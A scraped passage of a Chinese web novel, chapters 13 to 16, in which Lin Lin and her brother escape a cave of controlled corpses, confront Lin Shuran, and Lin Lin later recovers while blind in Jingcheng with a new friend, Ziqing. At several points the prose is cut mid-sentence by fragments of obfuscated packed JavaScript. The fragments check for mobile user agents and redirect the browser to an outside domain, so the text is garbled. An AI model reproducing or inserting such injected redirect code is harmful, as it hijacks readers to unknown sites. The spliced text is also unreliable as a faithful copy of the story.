林砚有些体力，能撑着刀勉强站住。 林霖完全脱力，连握剑的力气都没有，靠着中央的石头，将半个身子浸在微红的水中，闭上了双眼。 不知过了多久，一只手摸了摸她的额头，她重新睁开眼，恍惚的看向眼前的人。 “怎么把自己伤成这样，我可没有预想到这一战会如此狼狈。”温柔而带着些许冷意的声调响在她的耳边，她总觉得这个声音很熟悉，但不管怎么样，都想不起来这个声音的主人是谁。 周围窸窸窣窣的响，林霖脑子转了半天才意识到应该是自己的包袱被人动了，身体想动，却不知为何根本动弹不了半分。 那只手拿了一颗药塞到她嘴里，嗅着熟悉的药香，林霖下意识吞了下去。 “好好休息吧，接下来还有一场恶战呢，发着烧可不行，”看着林霖想要努力看清自己的动作，声音的主人轻轻笑了一下，“脸上都是血还想看清我，也算你有毅力。” 温热的手掩盖住了林霖的视线，梨花的香气隐隐约约的萦绕在周围，“睡吧，不睡觉又怎么撑得住后面的事情呢？” 实在是太过疲累，又或是身旁不再刺骨，林霖最终还是逃不过自己的意志，一个放松的功夫就彻底昏了过去。 这一昏就真的昏的不知年岁了，好不容易有了些意识，成功睁开眼，林霖就看见林砚拿着她包袱里的瓶瓶罐罐皱着眉挑拣着药正要往嘴里塞。 “诶，你别，那个不是止痛的。”林霖哑着嗓子叫出声。 林砚停下了动作，看着被自己用被子卷成卷的林霖在地上蛄蛹的样子，忍不住笑出了声，“你告诉我哪个是止痛和止血的就是。” 林霖气鼓鼓的停下了挣扎的动作，“你是我亲哥吗，你把我裹成这样。” “可怜可怜我吧，你大哥我爬回去了一趟，搜刮了一圈客人的东西才找到这个被子，”林砚盘坐在地上撑着自己的下巴，“我醒来的时候你都快在水里失温了，幸好不知道为什么血止住了，要不然我是真的救不回来你。” “白色窄口瓶子是止痛的，棕色罐里面是止血的，棕色罐里面白色蜡封的是内服的，棕色封皮的捏开是外用的。” 看着林砚皱着眉上药的画面，林霖犹豫片刻，轻声道了个歉，“对不起。” 林砚停下了自己的动作，看了林霖几秒钟后笑了，“对不起我什么啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070620|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你原本是不用受这么多伤的，要不是我拉你下来......” “这些伤迟早要受，”林砚望着远处堆成小山的蛊尸，“要是最后关头，林舒然他们让这些东西过来围困我们，那时候会更麻烦。” “说到林舒然，她以前就这样吗？” 林砚叹了口气，“是啊，以前就这样，以前把我当假想敌，觉得我一直针对她。不过爹娘也更喜欢她就是了，应该是觉得她的性子更适合完成他们的目的吧。” “这么说来，你当初去边关......” “嗯，看不惯我，因为我不听话，所以想拿我给南阳世子府死去的千金配冥婚，与南阳候打好关系，然后我就逃了。” 林霖表情瞬间惊悚，“拿你去配冥婚，是我疯了还是这个世界疯了。” “是他们疯了，”林砚淡定的给自己缠好绷带，“所以若有一天他们失势了，我一定会报复回去的。对了，你当初......” 林霖扭了个方向，一言难尽的撇过头，“啊，把我接回来当他们的沙袋了，心情不好都是我害的，什么气都冲我撒；林舒然有什么事情都是我害得，上家法抽我鞭子；宋元舒的婚约林舒然不想要，逼我和那弱智相处，结果我真和他聊上天，就关我禁闭不给我吃饭。” 说到这里，林霖气得磨着后槽牙，“当然我也是弱智，就任由他们欺负我，没想着报复回去，就是光哭，跪着求他们放手。” 林砚看着林霖身上的血战出来的伤口，和放在一旁被血染红的剑，有些不太相信这人以前居然这么窝囊，犹豫片刻后，他向对方投射了关爱的眼神，“不是你的错，都怪他们太阴险了。” 林霖想起来那些时日，恶毒嚣张的林舒然，当瞎子的林父林母，挟恩图报的林书，给别人当狗的林言，以及油腻恶心的宋元舒。 “你说得对，都是他们的错。” 她将自己从被子里拔出来，看着被血浸染的剑，抿了抿唇，“这还能洗干净吗，钟不为会嫌弃吗？” “我觉得不会，以前我们两个切磋，一般都以打坏武器为目的，”林砚看着林霖失落的神情，安慰道：“能洗掉的，试一试，实在不行给他陪一把，他不用贵的剑。” 林霖点了点头，拿着林砚给的布将剑上的血仔细擦干。只是上面渗进去的红怎么擦也擦不干净，她只好重新把剑收回鞘里。 看着不远处孤零零被锁链锁着的尸体，林霖淌着水过去，将她抱了过来，和阿郎放在了一起。 “等我回来，我给你找个土坑埋了，”林霖将被子盖在上面，犹豫了一下，又从包袱里拿出之前从兰香居包的荷花酥的油纸包，放在他们身边，“死了也别饿着了，路上吃好。” 林砚看着水里的、地上的蛊尸，低低叹息了一声，“都是可怜人，死了还要被人驱使。” “接下来要去找罪魁祸首吗？” “嗯，不过在此之前，我要让他们上路上的轻松一些。” 13. 业火 “接下来怎么过去，原路返回吗？”将所有尸体收拾齐整后，林霖坐在石台上看着清理刀上血污的林砚。 林砚摸着微微卷刃的刀，有些心疼，“你已经有想法了，我跟着你走就是了。” “知我者，兄长也，”林霖微微一笑，“这些蛊尸能保持生命力，是她一直喂养，那是谁在喂养她？” “所以你怀疑，这里有另一个出口。”林砚走到石壁旁，轻轻敲动。 “嗯，”林霖站在中心的石头上，向四周望去，试图找出这片区域视野最亮的地方，“这个石洞并不位于密室的正下方，而我们却在那里听到了她的歌声，虽然声音不大，但却足够清晰。” “或许你可以从另一个方向去猜测，”林砚盯着微微波动的水流，将手放了下去，“水在流动，我去找找源头。” 还没等林霖反应过来，林砚就跳进了依旧铺着一层蛊尸的水池里进去摸索。 虽然周围有光，但林霖把视线投向水里时，依旧看不清水底的情形。 不知道等待了多久，水里才重新出现了声响。 林霖赶紧走了过去，“怎么下去这么久。” “咳咳，咳，”林砚难受的呛咳了几声，“出口被蛊尸挡住了，废了一点时间才打开，里面有一条道，拉住我的胳膊，我牵着你过去。” 林霖将剑别在腰上跳了下去，她没学过游术，下潜时只能尽量保持着屏气凝神。 幸好一来到洞口，一股吸力直接将他们吸了进去。 接下来的事情完全由不得林霖做主，她只能被动的漂流，被动的撞墙，随后被动的被林砚拉到一个完全陌生的地方。 只不过这个地方有着一个她不太想见到的人，正在整理衣摆的林霖听到那熟悉的声音，直接将剑拔了出来，警惕的回过头望了过去。 “我说怎么有声响，原来是你们二位来我这里做客了。” 林舒然穿着赏花宴的那套华丽的服饰，温柔而安静地坐在那里，看着他们有些狼狈的身影。 她似乎不意外他们能够来到这里，所以在看向他们时，她是笑着的，“那么，大哥与阿霖是来杀我的吗？” 这里只有她一个人，周围干净而整洁，甚至有一种难言的温馨，这副场景与林霖想的完全不一样。 林霖提着剑，剑与地面摩擦起比烛火还亮得火花，那柄剑终于如她无数次想象的画面一样，横到了林舒然眼前。 “为什么只有你在这里？” “还用问吗，”那个眉目娇艳的姑娘站了起来，笑得开朗，“我被他们抛弃了啊。” “其实我很嫉妒你，”林舒然的耳坠在烛火的映衬下闪着银润的光，“你足够幸运，能从一次又一次灾难中活下来，就像话本里的主角一样。” 林霖沉默的看着她，手中的剑没有摇动分毫，“这是你为了活下来的而向我编的理由？” “我本身就活不下来，何谈狡辩，”林舒然站在剑前，慢慢说道：“我3岁时，被我的爹娘送到了这里，林府那时失去了一位千金，所以他们需要一个女儿来帮他们与各家贵女交际，那个时候虽然苦，但我也得到了很多人的注视。” “当然，也遇到了很多人的嫉妒，”林舒然笑了笑，“林书就是，他本质上和我是一类的人，他也需要同等的关注，只是他在爹娘眼中不是唯一，所以他把你找了回来，想利用你，让他成为唯一。” 林舒然的眼里有些悲伤，“你回来了，我这个不带有他们血缘的人就要被抛弃了。所以从你进府的那刻起，我开始被安排接触《万蛊》，被安排为他们做各种脏活，明明这些以前都是由林书来干的。” “所以当我发现我能够欺辱你时，我不知道有多开心，这说明你是不是也没有这么重要？” “既然这样，那我还就有用，我所获得的一切都不会被抢走。虽然没有以前好，”林舒然看着林霖，将手搭在了剑上，鲜红的血顺着剑汩汩而下，“可你掉下悬崖了，我一切的梦都醒了。即使你不在，他们也要将我当做交易的工具。为了活下来，我让自己尽量变得有价值，但他们现在不需要我这个女儿了，所以把我抛弃在了这里。” “为什么你在低谷时总有人相救，能够让你翻身；而总是有人因我败落而奚落我，给予我虚假的希望。” 林霖叹了口气，将剑狠狠定在林舒然肩头，望着此时痛到极致还在优雅笑着的女子，她明白了为什么曾经会因为这个人而屡屡受挫。 京城是个很大的城，无数的商贩走卒，无数的人家。 林府也是个很大的府，无数的仆从，无数的花。 但就是这么美的林府，也有落花苑那么破败的地方；即使是再繁华的京城，走过两条街，也能听到歌舞升平隔壁的苦难落魄。 穷苦的人，在繁华的京城举起碗依旧吃不饱；她林霖这样的人，在美好的林府居住着依旧活得落魄。 她能活下来的原因全部都依仗她拥有很小很小的愿望，有一天能吃饱能活下来，所以她即使是得到一点东西都能得到满足。 而林舒然的愿望是成为林府唯一的女儿，不被任何人去替代，所以林舒然连当时活得不如仆从的林霖的命都想要。 这样的人，就算是死到临头也不会承认自己错了，也不会认为她所谓的自我保护给其他人带来了足以致死的苦难。 所以，只要她杀了林舒然，她在这京城就再也没有苦难的源头。 林霖把剑拔了出来，林砚靠在书柜上，皱着眉看着剑刃带出来的血，一股莫名其妙的情绪萦绕在他心头，让他去保护林舒然。可林舒然不是林府的人，他又为什么要去管？ 所以他忍住心底的躁动，冷眼看着这一切。 林霖看着口吐鲜血还想要说些什么的林舒然，将剑直直向她胸口刺去，遗言可以让林舒然去地下说，但若是耽误了时间出了什么差错，可真是要后悔半生了。 就在这时，一股从灵魂深处传来的麻木感瞬间充满了她全身，紧接着她被一股力定在了原地，无法动弹，只能任由针扎样的疼痛充满全身。 就像过去几年那样，时隔两年，掌控她身体的怪物重新出现了。 在林舒然的眸光中，林霖看见了自己的脸上露出了悲悯的神色，仿佛下一刻就要原谅对方曾经犯下的全部罪恶。 这一想象让脑海深处动弹不得的林霖的意识几近吐血。 “宿主，积分不够，我没办法帮你屏蔽那么久的控制。”001歉意的声音在此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嘘，你听，”钟不为指着窗外，“你听到了吗，火焰烧起来的声音。” 血腥味的空气中传来了木头焦糊的气息，林霖隐隐约约中听到了“噼啪”的声响，就像她在崖底做饭时无数次将木柴塞进火堆里那样。 钟不为掰开了林霖的手，从她手里将剑取了出来。 “虽然是个赝品，但材质也还算不错，”他将林霖脱力的身体放平在地上，“我把它带走了。” “我再问最后一个问题，”闻着空气中的烟味，林霖忍不住开始咳嗽，“你是……怎么……知道。” 走到门口的钟不为停住了脚步，没有回头，“我从最开始就一直都跟在你们身边，从未离开过。” …… 林霖半睁着眼睛，视线越来越模糊。她真是一点力气都没有了，而周围的空气越来越燥热。 要是这么死在这里，她就真得和林舒然埋在一起了。 这么想着，她又重新摇摇晃晃站起了身，身上疼痛的厉害，心脏也砰砰砰的直跳，好像下一刻就要暴毙。 顺着来时的路，她走到林砚身边，拖拽着他的身体，与他一起滚入了洞口，没入了水流，任由水将自己冲向不知名的地方。 若她真有好运，那就将她带到一个没有骗子的地方。至少，不要让她在每次离开时都太过狼狈了。 14. 靖城 草药的香气在脚步声响起的那刻就在屋里窜动，林霖下意识动了动身子，刚坐起来就感受到了温暖。 看来现在太阳已然高高挂起了。 她叹了口气，摸索着床铺慢慢站了起来，一双温暖的手扶住了她的胳膊，“姐姐，你怎么这么早就起来了？” “就算是再严重的伤，经过这么长时间的修养，也该好的差不多了，”林霖拍了拍身旁姑娘的手，“更何况老在这里麻烦你们也不是个事情。” “可是姐姐你脑子里的淤血还未完全散去，独自出门会很危险，”小姑娘扶着林霖慢慢向桌子走过去，“哥哥也不会自己的病人乱跑的。” “阿双，我说你今日怎么跑的这么快，”一道清朗又温和的声线响起，“原来是来找林霖姑娘了，习武可不能懈怠啊。” “我知道啦，我这就过去......” 阿双眼泪汪汪的看着自己的兄长，希望今日能休息一天。可她的兄长早就对这个套路免疫了，只是站在门边笑着看向她，她只好松开了林霖的手，一步一回头的走向门口。 即使是暂时失明的林霖也能感受到那道灼热的视线。 她刚要说些什么，一股清淡的梨花的香气出现在她身边，与药味混杂在一起。 “林姑娘还是在这里待上几日，伤养好才方便做该做的事情。” 林霖苦涩的摇了摇头，“子卿兄，我自然是明白你的意思，可我实在是与钟家的人有些恩怨，如果继续待在靖城，恐怕是会连累你们。” 子卿低低笑了一声，将药碗推到林霖的手边，“钟家人哪有这么可怕，更何况钟兄亲自把你带回来，许多人都认为你们关系不错。” 林霖摸了摸自己后脑勺上的伤口没有出声，事实上她现在沦落到这一地步确实有钟不为的一些原因。 那人实在是可恨，顶着一张正义单纯的脸，靠着几句话就让她与林砚跑来跑去，自己倒还有空换了一身衣服。 子卿看着脸色逐渐变黑的林霖，就知道眼前这人又因为以前的事开始生气了，只好轻轻咳了几声，打断了她的思绪。 “先把药喝了吧，今天下午我带你去看梨花。” “你是刚从那边回来吗？” “是啊，”子卿从桌上拿了一颗蜜饯，“到酿酒的日子了，家中弟妹都喜欢去中满梨花的那边，我也是。” 林霖摸索着将碗放到了桌上，习惯性的伸出手接过了子卿手中的蜜饯。 嘴里的苦被蜜饯的甜稀释，林霖含糊着开口：“看梨花，我怕是不太方便吧。” “这个简单，我带你去，”子卿绕过桌子走到林霖身边，“在屋里呆了这么久，怕是闷坏了吧，不用怕麻烦我。” “可是......”眼睛看不见，又如何去看梨花呢？ 子卿像是猜到了她心中所想，“以前看过梨花吗？喜欢梨花吗？” “这倒是没看过，”林霖轻轻摇了摇头，她以前的居住环境很难让她能看到各种花草，“不过闻着你身上的味道，我应该会喜欢它。” “那就好，花不一定要看，还可以去闻，去摸，”子卿笑着看向林霖闭上的眼睛，“除非你不喜欢梨花，不想去看它。不过就算这样，我也可以带你走远些，去寻桃花，杏花与迎春。” “过几日，靖城还有春朝节，那时你的淤血也该除的差不多了，我和阿双带你去逛灯会。放心，有我在，钟兄是不会来到你身边了。” 这人已经将话说到这份上，她再不同意就不太礼貌了。 而且去看梨花这件事林霖承认自己真的可耻的心动了，她犹豫的握了握拳，最终还是让快乐的那份情绪占据了上风，“那就劳烦子卿兄带我过去吧，我确实是需要出门了。” 身边传来子卿低低的笑声，林霖深吸了一口气，还没开始忐忑就被这么搀扶着离开了一直待着的屋子。 有着子卿的指引，她倒是不太害怕失明的状态了。 这一路上实在是热闹，孩子之间的打打闹闹，说书先生讲话本的声响，还有越来越响的吆喝声。 “新年新酒，且趁春朝，来往过路的不妨来一杯嘞！” “这是陈哥卖糕点的摊子，”子卿笑着介绍到，“陈哥，今日哪样糕点做得最多啊？” “你小子把弟弟妹妹们训练的够呛，自己一个人却跑出来躲清闲，”陈哥爽朗的大声笑着，“今日还恰巧是梨花酥做得多些，再搭上你嫂子今年酿的新酿。你不得多买上一些，给身旁的姑娘也来上一份啊！” 林霖刚要开口拒绝，子卿就轻轻碰了碰她的手臂，“不要拒绝，算是我请你的。若好吃，等哪日事情忙完了，你再来靖城做客，便是报酬了。” “既然你这么说，我就不客气了，”林霖无奈的叹了口气，“你们这么热情好客，就算我是块坚冰也得被融化了。” “看来你是不会再拒绝我的邀请了，”子卿低低笑了笑，“不要怕麻烦，靖城与京城隔了很远，风土人情完全不同，能为你成功介绍这番景色，我也会觉得很荣幸。” 越靠近陈哥的摊子，糕点与酒酿的香味就越浓，嗅着这气息，林霖只感觉自己要醉在这里了。 “梨花酥豆沙的，梨花的，不带馅的都来上一份。今日荷花酥起的很好看啊，也来上一份。” 陈哥惊讶的看着眼前的人，“大手笔啊，这次来上这么多能吃完吗。” “那哥你给我多搭几种酿吧，身边这姑娘是客人，自然要多请上些。” “行行行，我选几种好喝的给你装上，都是今年的新酿，又香又醇，姑娘这时候来我们靖城可真是来对时候了。” 听着陈哥装糕点的声响，林霖有些好奇的凑到子卿身边，“这些酥长什么样？” “梨花酥就像梨花一样，芯是绿的，花是白的，吃起来是清甜的，很好看。荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我越练越厉害，他们打不过我了，我才获得自由练武的资格，”子卿的声音里多了些无奈，“靖城很好，也需要有人去保护这份好，我一直都想成为这样的一个人，保护能保护的人，即使在当年的乱世里，也能让在意的人活下来，活得很好。” “那很好啊，”林霖说道：“你有你想保护的人，我想要留在身边的人全部都离我而去了，或许是我不够勇敢吧，总是跟不上他们的步伐。”不论是生是死。 “那就留住你自己，”子卿温柔的看着她，即使她看不见他的神情，“保护好自己，再去保护别人，你永远是最需要你保护的人。” 清淡的香气顺着风来到了林霖的身边，即使看不见，她依然情不自禁的朝着最温暖的，风吹拂的方向的伸出手。 花瓣也随之落到她的发丝上，被身旁的人轻轻取下，放在手心里。 “虽然看不见真正的花，但是我感受到了，花开了。” 15. 谈心 自从她愿意出门后，感觉阿双与子卿对她也放心了许多，不再每日清晨就跑来看看她的状态如何。 尤其是子卿，这人似乎擅自把她划分到自己的阵营里，态度也是越来越放肆。 只是区区两月有余，她已经完全感觉不到他身上温润谦虚的一面，反而孩子气的那面倒是经常看见。 “你能不能不要每次都来我这里蹭饭了。”林霖顺着香味精准的摸到了最后一块糖醋小排，在感受到筷子下的触感时，瞬间松了一口气。 “若有一天我的伙食能像你一样，我也就不用天天来打搅你了，”子卿失落的看着糖醋小排的空盘子，如果按照伙食日程表来看，只能下周和这道菜重新相会了。 林霖冷笑了一声，“我求你把我当病人看吧，要不是这顿饭前我苦练了夹菜速度，不然最后一块排骨又得落你碗里。” “阿霖，你行行好......” “狗东西，别忘了把碗筷收拾了，这次别指望我心软。” 听着林霖冷酷的指挥，子卿叹了口气，认命的将碗筷收拾到水池里。再怎么说，他顿顿能吃上这些美味，也是沾了林霖这个病人的光。 “你打算什么时候回去？” 林霖下意识摸了摸脸上的布条，“起码要完全恢复吧，怎么，这么迫不及待想赶我走，万一我想赖在这里不走了怎么办？” “那很好啊，阿双很喜欢和你一起玩，我也很乐意呆在你身边，”子卿顿了顿，“不过你一看就不是靖城能留住的人。” “我看起来像什么人？” “话本里的那些女侠，惩恶扬善那种。靖城这个小地方太过安逸，不适合女侠施展盖世武功。” 听着水流的声音，林霖有些无奈，她哪里是什么盖世女侠，顶多算是个被剧情推着走的苦命人罢了。 “你说的生活我倒是挺向往的，但靖城有钟不为和林将军这样的人，分明是大隐之地，哪里会是什么小地方。” 子卿笑了笑，“林将军是真正的英雄，至于钟兄，他只是为了寻找一些事情的真相，本质上也算得上自私，算不得什么英雄。” 林霖想起在林府发生的一切，“哪里算不得，我感觉他什么都知道，牵着别人鼻子走。” “他其实不知道很多事情，但大多时候他都能用坑蒙拐骗讨来信息。” “所以说啊，”林霖感觉自己的后脑处传来隐隐痛楚，“我讨厌骗子和利用我的人，他刚好两条都占了。” “最好别让我再见到他。”说到最后时，林霖的语气里不自觉的带了些厌恶。 子卿洗碗的手顿了片刻，看来她真是因为钟不为之前做的事气狠了，“放心吧，我既不是骗子，也不喜欢利用别人。” “你只要有了在意的人，就会为此破例。”林霖有些困倦的打了个哈欠。 “你看起来倒是对此很有心得。” “也只是听别人说过，”林霖想起了许秋意说这句话时的神色与语气，“至于我自己，没人会因为我而停留，我也不会因他们而停留。”除非那个人有她心甘情愿为之留下的理由。 “那多好，缘分太深牵扯太多，斩不断，如果太浅，一戳就破，终究也不属于自己，”子卿将碗架起控水，看着落下的水滴，他继续说道：“只是这样，未免也太过恐怖，什么都不在意，孤独的太过可怕。” “你认识这样的人？” “认识啊，他不为了任何人而活，即使是亲朋，也不会对他们偏私，所以我从来不敢与他交心，”子卿想到那个人头就开始疼，“不过好在我在他面前没有作奸犯科，倒也死的不会太难看。” 林霖长叹一口气，“换个话题，伤患不想在养伤时听这么沉重的事情。” “春朝节准备的差不多了，正好那个时候，你眼睛也养得不错了，有兴趣留下来一段时间看我表演吗？” “既然你邀请我了，我自然要去，”林霖揉了揉发疼的额头，“钟不为不会去吧。” 子卿看着她，“我会告诉他的。” “什么？” “我们两个的行走路线，”看着林霖没有抑制住的慌乱和愧疚的神色，子卿愉快地笑了，“放心，我和他关系也不是很好，不会把你骂他乌龟王八蛋的事情透出去的。” 说到这里，他意识到了什么，一下子噤了声。 “你怎么知道，我明明......”林霖这下更是坐不住了，她直接站了起来，“你前几天什么时候来院子里的。” “咳，卯时刚过一半。” “你听到了什么？” 看着林霖面无表情的脸，子卿觉得今天他恐怕不能竖着走出这里了，他渐渐往院外挪步，“其实......我什么都听到了！”说完，他就向院落外飞奔而走。 只可惜道高一尺魔高一丈，林霖早就预料到了他的想法，听着声音，手快的拉住了那人的衣服，“跑这么快干狗东西，看我演戏很好玩吗？” “女侠女侠女侠！我错了，我真错了，只是那天早上有虾仁蔬菜粥，所以我才来早了点，不是故意看你在那......” 子卿看着林霖死死咬着牙关的模样，慌了神，也不管自己被扯落肩头的外袍了，“诶诶，别哭啊，今天眼睛上的药才刚上完，我错了，你别生气。我去给你买梨花酥和荷花酥好不好。” “我不是生气，”林霖在原地僵持了一会，最终还是松开了手，“我就是感到有些尴尬窘迫。从小时候开始，每当我被欺负的时候，我都会找个没人的地方，假装自己是江湖大侠，你说的惩恶扬善的那种，想像自己狠狠地报了仇。” “不过我也知道，这种行为就是小心眼、幼稚、自私，所以我从来都是私下里进行，哪知那天居然被你看了过去，感觉我在你面前是没什么面子了。” 子卿整理了一下衣裳，“你这么说这件事我可就不同意了，这顶多算是带有个人情绪的过家家，哪有你说得那么严重。” “我小时候被人欺负，我也会扎稻草小人，不带巫蛊的那种。咳咳，总之，能让自己活得开心就是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087612|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要的。” 林霖叹了口气，“看来这种事情也不是很小众。” 子卿轻轻笑了笑，取出了一块干净的帕子，“过来一些，我帮你擦拭干净，等会给你重新上个药。” “我才过来两个多月，基本上所有的难堪都被你看见了，真是......” 子卿解下林霖的眼纱，帮她擦拭掉脸上带有药液的泪痕，“我们是......朋友对吧，以后若发生同样的事情你可以跟我说，我帮你一起骂，没什么大不了的。” “那你算的上是我第一个朋友。” “之前的呢？” 子卿真是想抽自己一个大嘴巴子，今天他到底是怎么了，说话一点不经过大脑。 “之前的朋友啊，有的死在饥荒里了，有的其实是别人的朋友，只是觉得骗我好玩，所以跟我聊天。” 子卿的手微微一抖，不知道自己该说些什么，良久后才轻轻问到：“那和我呆在一起你高兴吗？” “高兴啊，你很好相处，和你相处很轻松，”林霖笑着说道：“而且你不骗朋友，也不会骗我，还会带我吃好吃的东西，我从未过过像现在这样开心的日子了。” “......” “你怎么不说话？” 子卿叹了口气，“我是在想，我到底何德何能能得到女侠那么大的重视，但我也很开心，我也和你待在一起也很快乐。”你与我想象的完全不同。 “女侠什么时候走，不如带我一起。” 林霖有些疑惑，“你不留在这里了？我要去干的事情可能会很危险。” “靖城会呆在这里，但女侠是会四处跑的，为了你这个朋友，也为了去看看别处的风光，女侠带我一起吧。” 看着林霖纠结的神色，子卿又补充了一句，“不让自己的好友得知自己的险境的，非真好友。” “那时间可久了，因为我是去找人，找到人后再杀了他们。” “没关系，女侠赶路我赶马，女侠杀人我递刀。” “你就不怕我是什么坏人，要把你带到山沟里，或者把你卖到别人家当仆从。” 子卿重新取出一条布带，为林霖重新缠了上去，“你不是什么坏人，你是顶好的人，所以不用担心，哪怕有什么危险，我也会陪你一起。” 林霖不说话了，她感觉到自己耳根有些发烫。 良久后，她朝着子卿的方向伸出了手，“今日有事吗？” “没事，想去哪里玩。” “再带我去听一听梨花的声音吧。” 子卿牵住林霖的手，带着她向屋外走去，“看来你是喜欢那边的热闹的。” “虽然有的时候会感觉稍微有点吵，但我不讨厌这种世界被声音填满的感觉。” “放心，你很快就能看见了。等春朝，我带你去放灯，带你去采梨花，带你去四耳胡同巷子里喝酒酿。” “好啊，到时候我跟着你走，你可别因为我能看见了，就把我抛下了。” “一定不会。” 16. 春朝 靖城种梨花树的附近有一片湖泊，刻画着各路神仙的亭子立在湖心，铺盖着新旧交替的青瓦，上面依稀可以看见当年大火留下的痕迹。当年靖城大火将当时的湖泊被草木和屋子填了个干净，如今的湖底与湖心亭，由梁高帝时期分散在梁朝各地的靖城人重新搭建起来，再经引水造就的人工景观。 林霖坐在湖心亭中央，望着外面如烟般四散的雨丝，以及落在湖面溅起的点点涟漪。 她如今的已能看清大部分事物，只是有的时候眼前总有一阵模糊的光影。 直到那个时候，她才得知原来她来到靖城已有三个多月，而从新雪到冒出春芽的时间，竟在她不知情的时候悄然离去。 身后煮茶的水冒着腾腾的热气，裹挟者茶香顺着雨雾来到了林霖身边。 “若这雨不停，该怎么办才好。” “即使下着雨，春朝节也能办下去，”子卿沏着茶，回道：“更何况下雨并不是一件坏事。” 林霖来了兴趣，回到了石桌旁，“之前也发生过这样的事情吗？” “是啊，”子卿想到当时的事情，笑着摇了摇头，“当时大家都很发愁，但是硬着头皮顺着流程办到最后，最后发现其实什么也不影响，反而在夜雨中能看见戏台表演各种细碎的光芒。” 林霖接过冒着白雾的茶，“你这么说，我反而是更期待雨中的场景了。” “雨后的场景也是独一份，”子卿愉快地抿了一口茶，“不论怎么样都会很漂亮。” “你之前说你也有表演，你会演些什么，”说到这里，她突然想起什么，“你是不是不能透露啊。” 看着林霖紧张又好奇的神情，子卿只能用喝茶掩饰自己内心的情绪，“咳，那道不用，我表演喷火和舞剑。” “两个？” “其实是一个。” 林霖有些疑惑，但她还是决定留给自己一些神秘感，于是假装明白了，“啊”了一声。 子卿就坐在对面举着茶杯直笑。 “那从我能看见那刻起，你就一直戴着面具，和春朝节有关吗？”林霖问道。 “这个啊，”子卿摸着覆着大半张脸的面具，“就不能是因为我丑若无盐，一摘下面具就会被人暴打。” 看着林霖不信任的眼神，子卿佯装哀愁的叹了口气，“作为你的好友，我自然是想把自己最好的那一面留给你看，万一你看了我的样子，真的想打我该如何是好，我也很难有一个知心好友的。” 虽然林霖并不在意与自己交往的朋友的相貌，但看着子卿略显可怜的眼神，她还是决定不再追问此事，“好，那我下次不问了。” 子卿笑眯眯的指了指不远处影影绰绰的那片梨树，“今天你还要陪他们去玩吗？” “不了，我并不是很想陪他们。”说到梨花树下的那群小孩，林霖心中那股莫名其妙的害怕又腾然升起，她这辈子见过刁蛮的，见过凶恶的，就是没见过这种精力旺盛还爱撒娇的。 而且这种类型一见就是一群，她走到哪他们就跟到哪，就连吃饭睡觉也要跟着，不会吵闹打扰她，但也会让她如芒刺背。 “没有什么别的有意思的活动吗？” 子卿想了想，还真让他想到一个地方，“我带你去看月亮吧。” “月亮？” “对，”子卿眼睛亮亮地看向她，“不一样的月亮，没有别人知道的月亮。” 林霖对这件事情突然就有了很大的兴趣，她一向喜欢这种隐秘的、独属于少部分人的秘密，但今晚或许还有更重要的事情。 “可今夜到明天早上是属于春朝节的时间......” 子卿很快就明白了她的顾虑，“没关系，我在大家面前表演的时间很短，所以还有很长的时间够我们去探索靖城那些不被人发现的，能让我们去欣赏的地方。” “子卿哥！你和阿霖姐在亭子里干什么！”对面的孩子冲他们招手呼喊起来。 “阿哥阿姐今日还陪我们玩吗？” 子卿站起身，替林霖拒绝了这些她不擅长拒绝的热情，“不了！今日我要和你们阿霖姐要去帮阿叔阿婶的忙！” 对面的孩子交头接耳，即使看不太清他们的身影，但林霖还是能感受到他们心底的失望。 “好吧！”最终是阿双站了出来，向他们这里喊道：“那阿姐与子卿哥好好玩！阿姐要是觉着无聊，可以让子卿哥学小动物的叫声。” 听到这句话，子卿在旁边没忍住笑了开来。 有孩子明显清楚子卿的事迹，声音里带着明显的控诉，“他老喜欢用这个欺负我们！当时我们不愿意睡觉，他还学狼叫吓我们，非常坏。” “是啊是啊，超级坏的。”众孩子纷纷附和道。 子卿不满的啧了一声，“玩去吧你们。” “你会口技？”林霖有些惊奇。 “是啊，想听？给你学个鸟叫。”子卿比了个姿势，没过一会就吹了起来，还真发出了几声急促又高亢的鸟叫声。 吹完一段后，子卿笑着看向她，“怎么样？” “很......”，林霖想了半天，才想出来个形容词，“很令我震撼，但是感觉你学的这鸟叫的挺脏。” 子卿笑得更开心了，“看来你对鸟语有些研究啊。” 林霖实话实说，“小时候见过卖鸟的，叫成这样的基本上卖不出去，还会带偏一堆叫的好听的鸟。” “那这个声音呢？” “喜鹊，它叫起来就这个动静。” “你再听听这个声音......” 烧好的茶在这种一来一往的猜谜中逐渐凉了，原本想好要在雨停后午睡的林霖也在这种情况下逐渐迷失了自我，情绪也越来越高涨。 